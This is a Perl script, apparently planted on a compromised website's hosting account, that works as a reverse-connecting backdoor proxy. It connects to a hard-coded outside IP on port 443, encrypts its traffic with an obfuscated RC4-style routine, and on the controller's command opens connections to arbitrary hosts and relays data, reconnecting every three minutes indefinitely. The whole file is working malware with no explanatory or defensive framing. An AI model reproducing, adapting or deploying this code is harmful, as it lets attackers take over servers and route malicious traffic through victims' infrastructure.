/home/ramtczxy/emilypoultryfarm.com/x26721.pl
#!/usr/bin/env perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK);
my $host = '62.60.131.203';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
vec($rc4, $_, 8) = $_ for 0..255;
do {
vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = vec($rc4, $pockemon0, 8);
$pockemon1 += vec($$passw, $pockemon2, 8);
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8);
vec($rc4, $pockemon1, 8) = $pockemon7;
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = vec($rc4, $pockemon2, 8);
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = vec($rc4, $pockemon1, 8);
vec($rc4, $pockemon2, 8) = $pockemon8;
vec($rc4, $pockemon1, 8) = $pockemon7;
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my $domain;
my $port0;
my @socketarr;
my @socketarray;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = "\x00" x 65536;
my $buffer1 = "\x00" x 65536;
my $isExit = 0;
my $_ret0 = 0;
my $ecx = 0;
my $eax = 0;
my $data = 0;
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
my $counter = 0;
my $countcc = 0;
my $rin = '';
my $flags;
my $str_wec = "\x00\x00";
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
my $responce = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536);
setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
syswrite($socketarr[0], $buffer, length($buffer));
while(1) {
$countcc = 0;
$rin = '';
for (my $i = 1; $i < 200; $i++) {
if ($socketarray[$i] == 1) {
vec($rin, fileno($socketarr[$i]), 1) = 1;
$countcc++;
}
}
if ($countcc > 0) {
unless (select($rin, undef, undef, 0.001)) { goto next__; }
for (my $i = 1; $i < 200; $i++) {
if (($socketarray[$i] == 1) && vec($rin, fileno($socketarr[$i]), 1)) {
$data = sysread($socketarr[$i], $buffer1, 65530, 3);
unless ($data) {
$socketarray[$i] = 0;
close($socketarr[$i]);
vec($responce, 0, 8) = $i;
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
syswrite($socketarr[0], $responce, 3, 0);
}
else {
vec($buffer1, 0, 8) = $i;
vec($str_wec, 0, 16) = $data;
substr($buffer1, 1, 1) = substr($str_wec, 1, 1);
substr($buffer1, 2, 1) = substr($str_wec, 0, 1);
Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data);
syswrite($socketarr[0], $buffer1, 3 + $data);
}
}
}
}
next__:
if ($remaining4 != 4) {
$rin = '';
vec($rin, fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 0.01);
next if ($ret < 0);
if ($ret == 0) {
$counter++;
if ($counter == 100 * 60) {
$counter = 0;
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
syswrite($socketarr[0], $buffernull, length($buffernull));
}
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0 && $socketarray[$ebx] == 1) {
$socketarray[$ebx] = 0;
close($socketarr[$ebx]);
vec($responce, 0, 8) = $ebx;
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
syswrite($socketarr[0], $responce, 3, 0);
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4);
unless ($data) { last; }
$remaining += $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (vec($buffer0, 0, 8) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$_ret0 = 0;
$socketarray[$ebx] = 1;
substr($responce, 0, 13) = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
vec($responce, 0, 8) = $ebx;
setsockopt($socketarr[$ebx], IPPROTO_TCP, TCP_NODELAY, 1);
setsockopt($socketarr[$ebx], SOL_SOCKET, SO_RCVBUF, 65536);
setsockopt($socketarr[$ebx], SOL_SOCKET, SO_SNDBUF, 65536);
fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) | O_NONBLOCK);
if (vec($buffer0, 7, 8) == 3) {
$domain = substr($buffer0, 9, vec($buffer0, 8, 8));
substr($str_wec, 0, 1) = substr($buffer0, 9 + vec($buffer0, 8, 8) + 0, 1);
substr($str_wec, 1, 1) = substr($buffer0, 9 + vec($buffer0, 8, 8) + 1, 1);
$port0 = vec($str_wec, 0, 16);
}
elsif (vec($buffer0, 7, 8) == 1) {
$domain = sprintf("%d.%d.%d.%d", vec($buffer0, 8 + 0, 8), vec($buffer0, 8 + 1, 8), vec($buffer0, 8 + 2, 8), vec($buffer0, 8 + 3, 8));
substr($str_wec, 0, 1) = substr($buffer0, 12 + 0, 1);
substr($str_wec, 1, 1) = substr($buffer0, 12 + 1, 1);
$port0 = vec($str_wec, 0, 16);
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port0, inet_aton($domain));
connect($socketarr[$ebx], $paddr);
vec(my $win = '', fileno($socketarr[$ebx]), 1) = 1;
unless (select(undef, $win, undef, 1)) { goto close_; }
fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) ^ O_NONBLOCK);
substr($responce, 4, 1) = "\x00";
$_ret0 = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
syswrite($socketarr[0], $responce, length($responce));
if ($_ret0 == 0) {
$socketarray[$ebx] = 0;
close($socketarr[$ebx]);
vec($responce, 0, 8) = $ebx;
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
syswrite($socketarr[0], $responce, 3, 0);
}
}
elsif ($socketarray[$ebx] == 1) {
syswrite($socketarr[$ebx], $buffer0, $remaining, 4);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
$eax = 4;
$eax = $eax - $remaining4;
$data = sysread($socketarr[0], $buffer0, $eax, $remaining4);
unless ($data) { last; }
$remaining4 += $data;
substr($buffernull, 0, 3) = "\x00\x00\x00";
$counter = 0;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = vec($buffer0, 1, 8);
substr($str_wec, 0, 1) = substr($buffer0, 3, 1);
substr($str_wec, 1, 1) = substr($buffer0, 2, 1);
$edx = vec($str_wec, 0, 16);
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) {
if ($socketarray[$i] == 1) { close($socketarr[$i]); }
}
if ($isExit == 1) { exit; }
return $_ret;
}
while(1)
{
bccnct(\$host, \$port);
sleep 180;
}